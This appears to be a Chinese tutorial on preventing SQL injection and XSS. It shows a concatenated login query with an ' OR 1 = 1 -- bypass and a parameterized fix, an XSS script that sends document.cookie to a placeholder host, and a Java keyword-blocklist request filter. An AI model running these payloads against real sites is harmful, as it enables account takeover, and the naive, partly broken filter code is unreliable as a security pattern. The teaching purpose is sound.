thinkphp が SQL インジェクション xss 攻撃を防ぐ方法

<form action="/login" method="POST">
    <p>Username: <input type="text" name="username" /></p>
    <p>Password: <input type="password" name="password" /></p>
    <p><input type="submit" value="登陆" /></p>
</form>

let querySQL = `
    SELECT *
    FROM user
    WHERE username='${username}'
    AND psw='${password}'
`;
// 接下来就是执行 sql 语句

SELECT * FROM user WHERE username='zhangsan' AND psw='mypassword'

SELECT * FROM user WHERE username='zhangsan' OR 1 = 1 --' AND psw='xxxx'

SELECT * FROM user WHERE username='zhangsan' OR 1 = 1

mysql.query(`SELECT * FROM user WHERE username = ? AND psw = ?`, [username, psw]);

<b>This is a XSS test!</b>
<script>
var cookie = document.cookie;
window.open("http://demo.com/getCookie.php?param="+cookie);
</script>

<b>This is a XSS test!</b>
<script>
var cookie = document.cookie;
window.open("http://demo.com/getCookie.php?param="+cookie);
</script>

/**
 * 防止sql注入,xss攻击
 * 前端可以对输入信息做预处理，后端也可以做处理。
 */
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
    private final Logger log = LoggerFactory.getLogger(getClass());
    private static String key = "and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char
    |declare|;|or|-|+";
    private static Set<String> notAllowedKeyWords = new HashSet<String>(0);
    private static String replacedString="INVALID";
    static {
        String keyStr[] = key.split("\\|");
        for (String str : keyStr) {
            notAllowedKeyWords.add(str);
        }
    }
    private String currentUrl;
    public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
        super(servletRequest);
        currentUrl = servletRequest.getRequestURI();
    }
    /**覆盖getParameter方法，将参数名和参数值都做xss过滤。
     * 如果需要获得原始的值，则通过super.getParameterValues(name)来获取
     * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖
     */
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        if (value == null) {
            return null;
        }
        return cleanXSS(value);
    }
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = cleanXSS(values[i]);
        }
        return encodedValues;
    }
    @Override
    public Map<String, String[]> getParameterMap(){
        Map<String, String[]> values=super.getParameterMap();
        if (values == null) {
            return null;
        }
        Map<String, String[]> result=new HashMap<>();
        for(String key:values.keySet()){
            String encodedKey=cleanXSS(key);
            int count=values.get(key).length;
            String[] encodedValues = new String[count];
            for (int i = 0; i < count; i++){
                encodedValues[i]=cleanXSS(values.get(key)[i]);
            }
            result.put(encodedKey,encodedValues);
        }
        return result;
    }
    /**
     * 覆盖getHeader方法，将参数名和参数值都做xss过滤。
     * 如果需要获得原始的值，则通过super.getHeaders(name)来获取
     * getHeaderNames 也可能需要覆盖
     */
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        if (value == null) {
            return null;
        }
        return cleanXSS(value);
    }
    private String cleanXSS(String valueP) {
        // You&#39;ll need to remove the spaces from the html entities below
        String value = valueP.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
        value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
        value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
        value = value.replaceAll("&#39;", "& #39;");
        value = value.replaceAll("eval\\((.*)\\)", "");
        value = value.replaceAll("[\\\"\\\&#39;][\\s]*javascript:(.*)[\\\"\\\&#39;]", "\"\"");
        value = value.replaceAll("script", "");
        value = cleanSqlKeyWords(value);
        return value;
    }
    private String cleanSqlKeyWords(String value) {
        String paramValue = value;
        for (String keyword : notAllowedKeyWords) {
            if (paramValue.length() > keyword.length() + 4
                    && (paramValue.contains(" "+keyword)||paramValue.contains(keyword+" ")||paramValue.
                    contains(" "+keyword+" "))) {
                paramValue = StringUtils.replace(paramValue, keyword, replacedString);
                log.error(this.currentUrl + "已被过滤，因为参数中包含不允许sql的关键词(" + keyword
                        + ")"+";参数："+value+";过滤后的参数："+paramValue);
            }
        }
        return paramValue;
    }
}